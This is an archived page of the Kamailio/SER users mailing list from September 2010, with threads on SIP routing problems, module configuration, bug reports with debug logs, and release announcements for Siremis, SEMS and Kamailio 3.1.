Hi, Siremis version 2.0 is planned to work with upcoming Kamailio or SER 3.1 and by now is alpha version. If you want to have a preview, then you can access it at: http://demo.asipto.com/siremis20/ username: guest password: guest v2.0 brings a completely new face and many features, reusing the latest openbiz development framework, among them: - easy 4 step web-based installer - siremis account management (including roles per users) - customizable menu from web interface - customizable views from web interface - rework of many kamailio/ser related components such as subscriber, siptrace, generic and usrloc charts Siremis administration module, user profile management and web based customization elements are disabled in the demo, to avoid breaking the content. Packaging is still under work, but if someone is good at php/xml, likes to dig in by itself to sort out issues and wants to help with testing, I can ship a raw tarball, just drop me an email. Feedback about this new version is also appreciated, in order to improve it. Regards, Ramona

7 12

Kamailio --> Mitel (Not Found) ¿INVITE ISSUES?
by Tincho ylm 27 Sep '10

27 Sep '10

Hi all! I really don't know why "Mitel" rejects my calls. I'm using Kamailio to forward calls to Mitel. A little more graphic: Please see the picture: http://s3.subirimagenes.com:81/otros/5226539form.jpg SIP PHONE (Linksys) ---> Kamailio (1.5.4) ----> Mitel ----> Mitel Phone Mitel rejects my calls with "404 Not Found". Ok, you may think: "the extension that you are calling doesn't exists".. please dont think that. (One more thing: If I try to make the same scene using Asterisk instead Kamailio everything works fine.) So, I made a sip capture to see what happens: Sip Phone -> 100 192.168.10.140 -> Sip Phone 192.168.10.150 -> Kamailio 192.168.10.160 -> Mitel Mitel Phone -> 200 Kamailio U 192.168.10.140:5060 -> 192.168.10.150:5060 INVITE sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150> SIP/2.0. Via: SIP/2.0/UDP 192.168.10.140:5060;branch=z9hG4bK-d063d53a. From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150>>. Call-ID: d4de30ba-eb6944c2 [!at] 192.168.10.140 (replace the [!at] with a @). CSeq: 101 INVITE. Max-Forwards: 70. Contact: "Sip Phone" <sip:100@192.168.10.140:5060>. Expires: 240. User-Agent: Linksys/SPA941-5.1.8. Content-Length: 395. Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER. Supported: replaces. Content-Type: application/sdp. U 192.168.10.150:5060 -> 192.168.10.140:5060 SIP/2.0 100 Giving a try. Via: SIP/2.0/UDP 192.168.10.140:5060 ;branch=z9hG4bK-d063d53a;rport=5060;received=192.168.10.140. From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150>>. Call-ID: d4de30ba-eb6944c2 [!at] 192.168.10.140 (replace the [!at] with a @). CSeq: 101 INVITE. Server: Kamailio (1.5.4-notls (i386/linux)). Content-Length: 0. U 192.168.10.150:5060 -> 192.168.10.160:5060 INVITE sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150> SIP/2.0. Via: SIP/2.0/UDP 192.168.10.150;branch=z9hG4bKc17.8e746ba.0. Via: SIP/2.0/UDP 192.168.10.140:5060 ;rport=5060;received=192.168.10.140;branch=z9hG4bK-d063d53a. From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150>>. Call-ID: d4de30ba-eb6944c2 [!at] 192.168.10.140 (replace the [!at] with a @). CSeq: 101 INVITE. Max-Forwards: 69. Contact: "Sip Phone" <sip:100@192.168.10.140:5060>. Expires: 240. User-Agent: Linksys/SPA941-5.1.8. Content-Length: 395. Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER. Supported: replaces. Content-Type: application/sdp. U 192.168.10.160:5060 -> 192.168.10.150:5060 SIP/2.0 100 Trying. Via: SIP/2.0/UDP 192.168.10.150;branch=z9hG4bKc17.8e746ba.0,SIP/2.0/UDP 192.168.10.140:5060 ;rport=5060;received=192.168.10.140;branch=z9hG4bK-d063d53a. From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150> >;tag=0_4044193584-65506210. Call-ID: d4de30ba-eb6944c2 [!at] 192.168.10.140 (replace the [!at] with a @). CSeq: 101 INVITE. Content-Length: 0. U 192.168.10.160:5060 -> 192.168.10.150:5060 SIP/2.0 404 Not Found. Via: SIP/2.0/UDP 192.168.10.150;branch=z9hG4bKc17.8e746ba.0,SIP/2.0/UDP 192.168.10.140:5060 ;rport=5060;received=192.168.10.140;branch=z9hG4bK-d063d53a. From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150> >;tag=0_4044193584-65506210. Call-ID: d4de30ba-eb6944c2 [!at] 192.168.10.140 (replace the [!at] with a @). CSeq: 101 INVITE. Contact: <sip:192.168.10.160>. Content-Length: 0. This is my Kamailio code from reenvites.. route[4] { t_relay("udp:192.168.10.160:5060"); t_on_reply("1"); exit; } If you pay attention to INVITES (Kamailio SIP messages) you will see: From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.150 <sip%3A200(a)192.168.10.150>>. I think that should be: From: "Sip Phone" <sip:100@192.168.10.150 <sip%3A100(a)192.168.10.150> >;tag=d396005aaf3ab9a2o0. To: "Mitel Phone" <sip:200@192.168.10.160 <sip%3A200(a)192.168.10.160>>. It could be the reason for Mitel rejects? Can I fix it? I can use TEXTOPS but I cant understand why Mitel rejects the Kamailio INVITES. I will thanks any help!

3 5

Re: [SR-Users] xcap server modules !
by Daniel-Constantin Mierla 27 Sep '10

27 Sep '10

Hello, please use sr-users(a)lists.sip-router.org for questions about kamailio and ser On 9/24/10 12:17 PM, usman aftab wrote: > > I haven't been able to found these modules xhttp.so & xcap_server.so > mentioned on this link > http://sip-router.org/docbook/sip-router/branch/master/modules_k/xcap_serve… > > I am trying to setup an presence server with buddy list on kamailio > 3.0.3 on debian lenny. the xcap_server module is available only in current development version, which is planned to be released as 3.1.0 in few weeks. Backporting to 3.0.x may require some work. Therefore I advise you install the master branch and test it. I tested with SIP Communicator, Zoiper, a.s.o. and seems to work fine. Here are some guidelines: git clone --depth 1 git://git.sip-router.org/sip-router kamailio cd kamailio make FLAVOUR=kamailio include_modules="db_mysql presence presence_xml xcap_server" cfg make all make install The add to your config file the parts for xcap server, like in module readme (the link you pasted above). > If for any reason I need OpenXCAP. No, you don't need anything else, xcap_server module implements a XCAP server :-), so you have all-in-one and easy solution for SIMPLE presence. Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

2 2

SEMS 1.3.0 released
by Stefan Sayer 27 Sep '10

27 Sep '10

SEMS 1.3.0 release With the release 1.3.0 the SIP Express Media Server continues to be the VoIP media and application server of choice for high volume VoIP services and flexible application development. This release focuses mostly on signaling, app development and interfacing. 100rel (PRACK) support, DNS cache and Session Timers B2BUA are a few of the additions there, and performance has been greatly improved especially for high volume signaling-only applications. The DSM state charts scripting engine has matured and can now be considered a viable and proven platform for rapid VoIP services development, one that does not sacrifice fine-grained control and flexibility with its easy- to-use high level abstraction of call and media control. Changelog: http://ftp.iptel.org/pub/sems/1.3/1.3.0/CHANGELOG Source: http://ftp.iptel.org/pub/sems/sems-1.3.0.tar.gz Packages: http://ftp.iptel.org/pub/sems/1.3/1.3.0/packages/ Most notable changes: * 100rel (PRACK) support * DNS cache, lb on SRV records * B2B with Session Timer * Signaling thread-pool support * json-rpc v2 module * SIP stack moved into core * optimizations, especially for signaling * many DSM improvements For a more complete list of changes, see doc/CHANGELOG. Users who upgrade from 1.2.x should be aware that the SIP stack settings have moved from sipctrl.conf into sems.conf, and that now both sip_ip and media_ip needs to be set, if it needs to be configured in your setup (i.e. they are not the first interface); furthermore, 100rel (PRACK) is supported by default. Contributors to this release were: Stefan Sayer, Raphael Coeffic, Bogdan Pintea, Ondrej Martinek, Peter Lemenkov, Andrey Samusenko, Robert Szokovacs, Juha Heinanen, Mark Sidell, Matthew Williams and Anton Zagorskiy. Many thanks to TelTech Systems Inc for sponsoring parts of the development that went into this release, and to the SEMS users for patches, bug reports and useful comments. Module: sems Branch: refs/tags/1.3.0 Tag: c788a58deb80d7ecc8d1e9c4be44e7ebfa307b0a URL: http://git.sip-router.org/cgi-bin/gitweb.cgi/sems/?a=tag;h=c788a58deb80d7ec… Apologies if you have received multiple copies of this message. With Best Regards Stefan Sayer -- Stefan Sayer VoIP Services Consulting and Development Warschauer Str. 24 10243 Berlin tel:+491621366449 sip:sayer@iptel.org email/xmpp:stefan.sayer@gmail.com

1 0

releasing v3.1.0 on Oct 6
by Daniel-Constantin Mierla 27 Sep '10

27 Sep '10

Hello, I am proposing to release the next major version in about one week and a half, Wednesday, Oct 6. Stability of new features looks very good, it was an extended tresting period since couple of weeks overlapped yearly common summer holidays. Now we need to put a bit of efforts in migration documentation. Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Re: [SR-Users] xcap server modules !
by Daniel-Constantin Mierla 24 Sep '10

24 Sep '10

private messages (sometime apart first ones) are discarded. Again, please keep the mailing list cc-ed, so other can learn from the conversation. Embedded xcap server works pretty well, I just sent an email for those that want to test it at voipuser.org: http://lists.sip-router.org/pipermail/sr-users/2010-September/065491.html 3.1 is in testing phase for a month by now, so is pretty stable. If you look to build a product to be ready in couple of weeks, then it is the best to start with this version, it really has lot of new cool features, you can find a summary at: http://sip-router.org/wiki/features/new-in-devel Thanks, Daniel On 9/24/10 1:40 PM, usman aftab wrote: > Thanks for the prompt reply. > Saved me a lot of time that I would have wasted trying to make it work > (Was about to build live distro out of it). > Much appreciated. > Thanx. > - > > On Fri, Sep 24, 2010 at 6:33 AM, Daniel-Constantin Mierla > <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote: > > Hello, > > please use sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> for questions about > kamailio and ser > > > On 9/24/10 12:17 PM, usman aftab wrote: > > > I haven't been able to found these modules xhttp.so & > xcap_server.so mentioned on this link > http://sip-router.org/docbook/sip-router/branch/master/modules_k/xcap_serve… > > I am trying to setup an presence server with buddy list on > kamailio 3.0.3 on debian lenny. > > > the xcap_server module is available only in current development > version, which is planned to be released as 3.1.0 in few weeks. > Backporting to 3.0.x may require some work. > > Therefore I advise you install the master branch and test it. I > tested with SIP Communicator, Zoiper, a.s.o. and seems to work fine. > > Here are some guidelines: > > git clone --depth 1 git://git.sip-router.org/sip-router > <http://git.sip-router.org/sip-router> kamailio > cd kamailio > make FLAVOUR=kamailio include_modules="db_mysql presence > presence_xml xcap_server" cfg > make all > make install > > The add to your config file the parts for xcap server, like in > module readme (the link you pasted above). > > > > If for any reason I need OpenXCAP. > > No, you don't need anything else, xcap_server module implements a > XCAP server :-), so you have all-in-one and easy solution for > SIMPLE presence. > > Thanks, > Daniel > > -- > Daniel-Constantin Mierla > http://www.asipto.com > > -- Daniel-Constantin Mierla http://www.asipto.com

1 0

help testing 3.1
by Daniel-Constantin Mierla 24 Sep '10

24 Sep '10

Hello, before any major release of kamailio (openser), we install and run it live on voipuser.org sip service. It runs there for more than two weeks now, it even survived a 18 hours scan attack (approx 12.5 mio requests "with love from Latvia" - I will write an article about it), so it looks very solid. However, there are two features were enabled for this version and are not really heavily used yet: tls and presence/xcap. So if you don't plan to test by yourself a local instance of version 3.1 and have time, then maybe you can help by registering some phones at voipuser.org and play a bit there -- it will be very appreciated to report if works for you. If you dont have an account there or don't know about it, some details here: VoIPUser.org is hosting also our kamailio (openser) forum for many many years now, the service is open and free, when you register at http://www.voipuser.org for the forum, you get a sip account as well (there are some goodies included, like incoming UK did and INUM). For tls: - just configure your phone to use tls - if you need it, the port for tls is 5061. For example, with snom 370 you have to set the outbound proxy address to: sip.voipuser.org;transport=tls. For presence/xcap: - you can test if you have clients supporting SIMPLE presence in Presence Agent mode (not end-to-end mode) - the embedded xcap server is enabled, you have to set the xcap root url to http://sip.voipuser.org:5060/xcap-root or https://sip.voipuser.org:5061/xcap-root . Authentication for xcap service is done using same sip username and password Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

Help regarding SIREMIS
by Zuhair Raza 24 Sep '10

24 Sep '10

HI I am newbie, I have a centos pc with httpd, php and mysql installed in it i followed the procedure at http://siremis.asipto.com/install/ when i m trying to browse my siremis web it is unable to submit my request... may be i am missing something configuring Apache please guide me how can i get out of it ? i have httpd 2 installed in my box thanks

2 1

Memory leak
by Santiago Soares 23 Sep '10

23 Sep '10

Hello, We use Kamailio as a stateless load balancer. It runs on a VM, with 512 MB RAM, and it seems to have some kind of memory leak. The kamailio processes consume all available memory, until Kamailio crashes and restart. This occurs about once a day. Since it's stateless, and the restart is very fast, it's not a big deal, but I'd like to fix it. The strange thing is that I updated kamailio from 1.5.3 to 3.0.3 and the problem still ocurrs. I followed the instructions on http://www.kamailio.org/dokuwiki/doku.php/troubleshooting:memory in order to determine the cause, and stopped the traffic on the proxy. The allocated memory were not freed, after 1 hour the amount of free memory is still the same. Anybody has an ideia about what's happening, or how can I debug it? Thank you! Santiago Soares

7 24

Kamailio 1.5.4 - Pike module ignoring remove_latancy parameter
by Miguel Baptista 23 Sep '10

23 Sep '10

Hi All, I'm running kamailio-1.5.4-tls and I want to enable pike module in it. I did some test but it isn't working properly. I mean it isn't acting according to the /remove_latancy/ parameter. When an IP address is blocked (cause it triggered the pike module), it should be blocked for the amount of time (seconds I presumed) defined on the /remove_latancy /parameter, right? but it isn't Here is my pike module config (it's just a test config) # ---- Pike --- /* we are usign default values. We should tunning it up */ modparam("pike", "sampling_time_unit", 30) modparam("pike", "reqs_density_per_unit", 10) modparam("pike", "remove_latency", 3600) modparam("pike", "pike_log_level",-1) and here is the output /Sep 10 *13:33:35* sip /home/kamailio/sbin/kamailio[21414]: PIKE - BLOCKing ip XXX.XXX.XXX.XXX, node=0xb5a2eb58 Sep 10 13:33:35 sip /home/kamailio/sbin/kamailio[21414]: Warning: too many requests from XXX.XXX.XXX.XXX:5060 Sep 10 *13:34:12* sip /home/kamailio/sbin/kamailio[21420]: PIKE - UNBLOCKing node 0xb5a2eb58 ... Sep 10 *13:35:22* sip /home/kamailio/sbin/kamailio[21418]: PIKE - BLOCKing ip XXX.XXX.XXX.XXX,, node=0xb5a2eb58 Sep 10 13:35:22 sip /home/kamailio/sbin/kamailio[21418]: Warning: too many requests from XXX.XXX.XXX.XXX,:5060 Sep 10 *13:36:12* sip /home/kamailio/sbin/kamailio[21420]: PIKE - UNBLOCKing node 0xb5a2eb58 / Shouldn't it be blocked for 3600 seconds? Then I changed the /remove_latancy/ parameter to /modparam("pike", "remove_latency", 334500) / / Sep 10 *13:37:09* sip /home/kamailio/sbin/kamailio[21462]: PIKE - BLOCKing ip XXX.XXX.XXX.XXX,, node=0xb5986b90 Sep 10 13:37:09 sip /home/kamailio/sbin/kamailio[21462]: Warning: too many requests from XXX.XXX.XXX.XXX,:5060 Sep 10 *13:37:52* sip /home/kamailio/sbin/kamailio[21466]: PIKE - UNBLOCKing node 0xb5986b90 / but the it didn't seem to have any real difference. Any ideas? / / Best Regards, Miguel Baptista

2 3

rtpproxy (k): removal of force_rtpproxy
by Ovidiu Sas 22 Sep '10

22 Sep '10

Hello all, I would like to propose the removal of force_rtp_proxy function from the rtpproxy (k) module. Instead, the rtpproxy_offer/rtpproxy_answer should be used. Why? - force_rtp_proxy no longer support 200ok/ACK SDP negotiation ('s' flag was deprecated); - all functionality of force_rtp_proxy is provided by rtpproxy_offer/rtpproxy_answer; - rtpproxy_offer/rtpproxy_answer is easier to use in the config. Objections? Regards, Ovidiu Sas

7 16

missing rtpproxy documentatio from kamailio website
by Ovidiu Sas 22 Sep '10

22 Sep '10

The kamailio doc website doesn't have the new rtpproxy module documentation: http://www.kamailio.org/docs/modules/devel/ Also, ratelimit module is listed as being k and in fact it is generic now. Regards, Ovidiu Sas

2 2

mi ul_dump 'buffer too small'
by Juha Heinanen 22 Sep '10

22 Sep '10

is there anything one can do when 'mi ul_dump' gives error: 500 - Internal server error processing 's': buffer too small i guess there is too many contacts. -- juha

3 5

Modifying $pU
by dotnetdub 22 Sep '10

22 Sep '10

Hi All I am receiving a Preferred-Identity from a customer which I need to modify (strip the first character a 0) and then send it as Remote Party ID Sending the RPID is no problem, my issue is stripping the character. I have tried a few things to do this. subst('/^P-Preferred-Identity:(.*)<sip:(0)(.*)@.*>(.*)$/P-Preferred-Identity:\1<sip:\3@domain >\4/ig') This substitution works fine but when I read $pU it still has the leading 0 I also looked at using re.subst on $pU but can't get it to work. What is the best way to achieve what I'm trying to do? Sorry for hassling you! Thanks, Brian

5 5

[OT] Any utility to create cool SIP flows in HTML format?
by Iñaki Baz Castillo 21 Sep '10

21 Sep '10

Hi, I'm trying to create cool SIP flows to be displayed in a HTML. What I'm looking for is something like (or exactly) this: http://www.tech-invite.com/Ti-sip-dialog.html There you can click into messages to show the complete headers/body and so on. Does somebody know a tool to create such flows? Thanks for any suggestion. NOTE: There are some others utilities that allow creating TXT flows, as in a draft/RFC. I'm looking for something really more powerful than that. -- Iñaki Baz Castillo <ibc(a)aliax.net>

3 5

Change in RTP Payload time on the fly
by Pranav Desai 20 Sep '10

20 Sep '10

Hello, We have a proxy server setup that runs Kamailiov3.0.1 + RTPProxyv1.2.1. Nathelper support has been enabled in Kamailio. On a certain route, we call force_rtp_proxy("z120"), i.e. with resizing parameter 'z' and argument 120ms. During a call where endpoints have negotiated the use of G729, RTPProxy sends packets with ptime=12 (120ms), however occasionally rtpproxy sends packets with ptime 6(60ms), 8(80ms), 4(40ms). Under what circumstance would RTPProxy send packets with ptime < 12 ? Regards, Pranav Desai

4 5

Request for consulting assistance with SER scripts and setup
by Scott Seltzer 20 Sep '10

20 Sep '10

If there is anyone who would be able to provide assistance with SER programming, configuration changes, or migrations to SER3.0 please send email to: Scott(a)connectmevoice.com Thanks , Scott Seltzer

1 0

Re: [SR-Users] Usrloc reload problem
by Jan Klepal 19 Sep '10

19 Sep '10

Hello Daniel, On Saturday September 18 2010 12:03:59 Daniel-Constantin Mierla wrote: > Hello, > > On 9/17/10 3:27 PM, Jan Klepal wrote: > > Hello, > > > > I run kamailio 3.0.3 with location table stored in database (PostgreSQL > > 8.4.2) with db_mode 2 (write-back) and upon kamailio restart some > > contacts from database are loaded incorrectly. Messages for those > > contacts are routed to invalid IP addresses. > > > > After some debugging I figured out that it happens only for contacts > > which "received" column value is null. For those contacts value is > > filled from previously loaded contact having non-null value in > > "received" column. > > > > it was a bug, hopefully fixed. Inside the postgres module, an internal > buffer was not reset. > > Test with master branch or take the patch from commit (it is small) and > do it with 3.0.x: > http://lists.sip-router.org/pipermail/sr-dev/2010-September/008994.html > > Since I have no pg server at hand, couldn't actually test it, so when > you report is working fine, I will backport to 3.0.x. > > Thanks, > Daniel Thank you for fast reply. Yes, this patch solved the problem. Contacts are loaded correctly from DB now. Kind Regards, Jan

2 1

Re: [SR-Users] Change in RTP Payload time on the fly
by Pranav Desai 19 Sep '10

19 Sep '10

Hello, Thank you for your comments. My answers are inline. > Hello, > > ptime and also the z flag are ms values, so a values of 6 or 8 ms are not > the recommended length of time, it should be an integer > multiple of 5 ms. I havn't yet a look the the source, but the nathelper > doc > say ZNN, maybe only the 12 is taken from your 120? The 'ZNN' in the documentation might be misleading, since I tried with 'Z120' and the variable 'requested_nsamples' is set to 960 samples (120/10*80). This variable is used by RTP resizer to resize the RTP packets. > But in fact the doc confuse with ZNN and an example of 100ms. Could you > try > again with 90? > I tried with ptime=80ms and ptime=60ms. But, I still have the similar results, i.e. I get occasional packets with ptime=40 and sometimes ptime=20ms. Regards, Pranav Desai > regards, > Andreas > > 2010/9/18 Pranav Desai <pdesai(a)signalogic.com> > >> >> Hello, >> >> We have a proxy server setup that runs Kamailiov3.0.1 + RTPProxyv1.2.1. >> Nathelper support has been enabled in Kamailio. >> >> On a certain route, we call force_rtp_proxy("z120"), i.e. with resizing >> parameter 'z' and argument 120ms. During a call where endpoints have >> negotiated the use of G729, RTPProxy sends packets with ptime=12 >> (120ms), >> however occasionally rtpproxy sends packets with ptime 6(60ms), 8(80ms), >> 4(40ms). >> >> Under what circumstance would RTPProxy send packets with ptime < 12 ? >> >> Regards, >> Pranav Desai >> >> _______________________________________________ >> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >> sr-users(a)lists.sip-router.org >> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >> >

1 0

500 command not activated
by dotnetdub 18 Sep '10

18 Sep '10

Hi All, Kamailio 3.0.3 kamctl domain show 500 command not activated however I can run kamctl domain showdb which dumps out the domains from the database. What am I missing? Thanks Brian

2 5

Usrloc reload problem
by Jan Klepal 18 Sep '10

18 Sep '10

Hello, I run kamailio 3.0.3 with location table stored in database (PostgreSQL 8.4.2) with db_mode 2 (write-back) and upon kamailio restart some contacts from database are loaded incorrectly. Messages for those contacts are routed to invalid IP addresses. After some debugging I figured out that it happens only for contacts which "received" column value is null. For those contacts value is filled from previously loaded contact having non-null value in "received" column. Here is sample debug, which shows contact (row #97 in result set) with IP 10.3.71.1 is later used for contact without "received" value (row #172): db_postgres [km_dbase.c:149]: 0x888e00 PQsendQuery(select username,contact,expires,q,callid,cseq,flags,cflags,user_agent,received,path,socket,methods,last_modified from location ) ... db_postgres [km_res.c:242]: PQgetvalue(0x888e00,79,9)=[sip:10.3.71.1:5060] db_postgres [km_res.c:251]: [79][9] Column[received]=[sip:10.3.71.1:5060] ... db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,9)=[] ... db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,0)=[222333444] db_postgres [km_res.c:251]: [172][0] Column[username]=[222333444] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,1)=[sip:222333444@195.70.1.200] db_postgres [km_res.c:251]: [172][1] Column[contact]=[sip:222333444@195.70.1.200] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,2)=[2010-09-16 00:21:04] db_postgres [km_res.c:251]: [172][2] Column[expires]=[2010-09-16 00:21:04] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,3)=[-1] db_postgres [km_res.c:251]: [172][3] Column[q]=[-1] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,4)=[0fc6692b6570aaac04b3c85a3b9496c0(a)sipxsip.cz] db_postgres [km_res.c:251]: [172][4] Column[callid]=[0fc6692b6570aaac04b3c85a3b9496c0(a)sipxsip.cz] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,5)=[397] db_postgres [km_res.c:251]: [172][5] Column[cseq]=[397] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,6)=[0] db_postgres [km_res.c:251]: [172][6] Column[flags]=[0] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,7)=[0] db_postgres [km_res.c:251]: [172][7] Column[cflags]=[0] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,8)=[Asterisk SIPXSIP] db_postgres [km_res.c:251]: [172][8] Column[user_agent]=[Asterisk SIPXSIP] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,9)=[] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,10)=[] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,11)=[udp:80.200.1.100:5060] db_postgres [km_res.c:251]: [172][11] Column[socket]=[udp:80.200.1.100:5060] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,12)=[] db_postgres [km_res.c:242]: PQgetvalue(0x888e00,172,13)=[2010-09-16 00:11:04] db_postgres [km_res.c:251]: [172][13] Column[last_modified]=[2010-09-16 00:11:04] <core> [db_row.c:119]: allocate 448 bytes for row values at 0x998120 <core> [db_val.c:117]: converting STRING [222333444] <core> [db_val.c:127]: allocate 10 bytes memory for STRING at 0x944008 <core> [db_val.c:117]: converting STRING [sip:222333444@195.70.1.200] <core> [db_val.c:127]: allocate 27 bytes memory for STRING at 0x9378d8 <core> [db_val.c:157]: converting DATETIME [2010-09-16 00:21:04] <core> [db_val.c:106]: converting DOUBLE [-1] <core> [db_val.c:117]: converting STRING [0fc6692b6570aaac04b3c85a3b9496c0(a)sipxsip.cz] <core> [db_val.c:127]: allocate 44 bytes memory for STRING at 0x925cd8 <core> [db_val.c:73]: converting INT [397] <core> [db_val.c:73]: converting INT [0] <core> [db_val.c:73]: converting INT [0] <core> [db_val.c:117]: converting STRING [Asterisk SIPXSIP] <core> [db_val.c:127]: allocate 17 bytes memory for STRING at 0x9061e8 <core> [db_val.c:117]: converting STRING [sip:10.3.71.1:5060] <core> [db_val.c:127]: allocate 19 bytes memory for STRING at 0x905fc8 <core> [db_val.c:56]: converting NULL value <core> [db_val.c:117]: converting STRING [udp:80.200.1.100:5060] <core> [db_val.c:127]: allocate 22 bytes memory for STRING at 0x905da8 <core> [db_val.c:73]: converting INT [4767] <core> [db_val.c:157]: converting DATETIME [2010-09-16 00:11:04] To make things clear, all rows after row #97 had "received" value null, and row #172 was UA I ran tests on... in the other words contact with null "received" value is filled with previous non-null value as long next non-null row is fetched from DB and following null contacts are filled with its value and so on. When the contact having invalid "registered" re-register it will overwrite value in memory and calls are routed to proper IP address. This query is sent to database then: db_postgres [km_dbase.c:149]: 0x888e00 PQsendQuery(update location set expires='2010-09-16 00:30:58',q=-1.00 ,cseq=103,flags=0,cflags=0,user_agent='Asterisk SIPXSIP',received=NULL,path=NULL,socket='udp:80.200.1.100:5 060',methods=NULL,last_modified='2010-09-16 00:20:58' where username='222333444' AND contact='sip:222333444@195.70.1.200' AND callid='0fc6692b6570aaac04b3c85a3b9496c0(a)sipxsip.cz') I've also checked status of this record in usrloc by "kamctl ul show"... both before and after kamailio restart state was CS_SYNC. Is this bug or should I somehow force kamailio to store "received" into database? Kind Regards, Jan Klepal

2 1

Kamailio Jabberd Integration
by shoks 17 Sep '10

17 Sep '10

Hi, Has anyone managed to integrate Kamailio and Jabberd to support presence and messaging functions (XMPP). I've tried to setup based on notes and emails that I found online, but still could'nt make it work. I appreciate if someone can share their configuration or give me a link. Thanks, sho

3 4

strange acc behavior?
by Klaus Darilion 17 Sep '10

17 Sep '10

Hi! I use acc module with extra accounting. modparam("acc", "db_extra", "direction=$avp(direction)") I set $avp(direction) during request processing (in main request route). The value stored with INVITE and BYE is fine, but ACK requests do not have the assigned value, but the same value as the INVITE request. Is this by design? Is this a limitation of tm and AVPs? Thanks Klaus

3 4

Stripping variable amount of digits
by Iñaki Baz Castillo 16 Sep '10

16 Sep '10

Hi, I get a prefix string from a database and store it in $var(prefix). Such prefix can contain any number of digits (no fixed length). Now I must to check if the RURI username begins with that prefix and in that case strip it. I can get the first step (detect it) using pcre_match function: if pcre_match("$rU", "^$var(prefix)") { # Prefix match. But I cannot get the second part working (stripping it). I've tryed everything: - strip() is not valid as just allows an integer (no pv). - subst_user() doesn't accept pv: if subst_user("/^$var(prefix)(.*)$/\1/") Any ideas please? Thanks a lot. -- Iñaki Baz Castillo <ibc(a)aliax.net>

2 3

Doubd about Dialplan module
by rabs＠dimension-virtual.com 16 Sep '10

16 Sep '10

Hi all, I'm tryting to implement a E164 normalizer using the dialplan module, by now I have 3 simple rules: dpid priority matchop matchex matchlen subsex replaceex attributes 0 1 1 (00|\+)([1-9][0-9]+) 0 (00|\+)([1-9][0-9]+) \2 0 1 1 ([5-9][0-9]{8}) 0 ([5-9][0-9]{8}) 34\1 The first rule 'it's supposed' to remove + or 00 from full qualified E164 numbers, the seccond rule 'should' add 34 as prefix to all 'valid' spanish numbers, they was running on some little test I did, but when try to put them on pre-production enviroment I get strage results. I call dp_translate as dp_translate("0","$rU/$rU"); And this what I get : Input RURI Output RURI 900XXXXXX(a)dom.tld XXXXXX(a)dom.tld And the quetion is why?, are my match rules wrong? why subex and matchex must be the same? Best regards. -- Raul Alexis Betancor Santana Dimension Virtual S.L.

4 4

string manipulation from db
by anthony thomas 16 Sep '10

16 Sep '10

Hello list, I am afraid I am asking something stupid but I cannot find a way to do this cleanly, so here it goes.... I am retrieving values from a db using either carrierroute or mtree modules to send a 302 to my softswitch. It expects the message as: SIP/2.0 302 Moved Temporarily Via: SIP/2.0/UDP 134.111.48.66:5060;branch=zgfdgdfgf2491b5437 Contact: <sip:989897@X.X.X.X;rg=4003>;q=0.2 Contact: <sip:989897@X.X.X.X:rg=321>;q=0.8 To: <sip:989897@X.X.X.X:5066>;tag=1 ..... Where the important things are the rg: those are the trunks in the SS) and the q (probability) and there can be multiple rgs for the same prefix (2 in this example) My idea was to keep in the db something like this: Prefix:98 Route:4003,0.2|321,0.8 And then inject those values in the contact header, but I am having a hard time finding the right way to do it. Is there any way to do it without calling the perl module? Many thanks, A

4 3

About avp's, var's, null, 0 and empty string
by Iñaki Baz Castillo 16 Sep '10

16 Sep '10

